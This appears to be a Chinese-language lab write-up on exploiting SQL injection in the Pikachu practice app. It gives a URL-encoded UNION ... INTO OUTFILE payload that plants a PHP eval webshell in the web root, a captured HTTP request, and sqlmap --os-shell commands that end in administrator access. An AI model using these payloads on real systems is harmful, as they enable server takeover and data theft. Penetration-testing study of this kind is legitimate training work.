注入
以pikachu为例,首先发现一个数据查询的点,对其进行手工验证
易知存在SQL注入
获取更多信息:
@@basedir,获取到当前MySQL安装路径
根据学过的知识可以知道,在phpstudy中,MySQL和WWW在同一级的目录结构中
写入webshell
--通过mysql写入文件需满足
- 连接数据库是root用户,如下图,普通用户无法写入
- my.ini配置文件需明确secure_file_priv="目录",参考:MySQL读写文件
--若满足上述要求,则尝试把webshell写入到WWW目录中,pyload如下
?name=kobe'+union+select+'1'%2C+'<%3F+php+%40eval(%24_POST[1])%3B+%3F>'+INTO+OUTFILE+'C%3A%2F%2FphpStudy%2FPHPTUtorial%2FWWW%2Fshell.php'+%23&submit=查询#
--靶机中存在这个shell文件
---- 成功利用
--遇到的坑:
- 因为写入一句话时POST['x']需要引号,而写入内容也需要引号,在靶机后台中SQL拼接中已使用了引号,所以这里出现三个引号,写入会报错,可将一句话的POST['x']改成POST[1]
- 算是小细节,<?php 问号和php要紧连在一起,中间不能有空格
sqlmap --os-shell
--sqlmap中的--os-shell同样也是通过写入文件后进一步拿到shell的,前提条件跟上面一样
--进入注入点,随便提交一个数据,复制一下请求头和POST数据
POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.18.96
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.3.130
Connection: keep-alive
Referer: http://192.168.3.130/pikachu-master/vul/sqli/sqli_id.php
Cookie: PHPSESSID=ei17j4pdof94fjukl0766ede00
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
id=2&submit=%E6%9F%A5%E8%AF%A2
-- python2 sqlmap.py -r sqlmapTest.txt
-- python2 sqlmap.py -r sqlmapTest.txt --dbs得出数据库
--python2 sqlmap.py -r sqlmapTest.txt --os-shell
--选择php
--把路径写上去
利用
--查看当前系统用户权限
whoami/groups
--已是administrator权限
--待更新